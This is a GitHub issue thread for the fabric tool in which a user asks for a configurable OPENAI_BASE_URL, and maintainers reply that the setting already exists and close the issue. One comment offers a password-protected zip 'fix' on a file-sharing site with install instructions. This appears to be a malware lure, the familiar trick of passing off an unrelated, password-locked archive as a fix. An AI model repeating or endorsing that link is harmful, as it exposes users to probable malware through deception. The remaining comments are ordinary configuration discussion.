Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Feature request]: Add support for setting a custom OPENAI_BASE_URL #883

Closed
SecretAardvark opened this issue Aug 26, 2024 · 4 comments
Closed
Labels
enhancement New feature or request

Comments

@SecretAardvark
Copy link

What do you need?

In the previous python version of fabric, i was able to use the free Llama 3.1 api at https://chatapi.akash.network/ by setting the 'OPENAI_BASE_URL' environment variable. This seems to no longer be possible in the Go version.

Please re-integrate this feature so we can use Llama 3.1 400b with fabric. :^)

@SecretAardvark SecretAardvark added the enhancement New feature or request label Aug 26, 2024
@deverchettychandrashekar

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@j0t4
Copy link

j0t4 commented Aug 31, 2024

that will be nice for llama.cpp's server or llamafiles. A lot of models and a big community. Tanks for the project.

@drinktee
Copy link

A configurable OPENAI_BASE_URL may be a strong demand for users in some areas.

@fonteijne
Copy link

This feature is already in place.

  • Update Fabric to the latest version
  • Run fabric --setup
  • Enter the custom base url when prompted for it.
    Or, add it directly to the .env file.

@eugeis
Copy link
Collaborator

eugeis commented Oct 10, 2024

It is already available for several releases.

@eugeis eugeis closed this as completed Oct 10, 2024
@github-staff github-staff deleted a comment from Lxx-c Oct 23, 2024
@github-staff github-staff deleted a comment from Lxx-c Oct 23, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

8 participants
@eugeis @fonteijne @j0t4 @drinktee @SecretAardvark @deverchettychandrashekar and others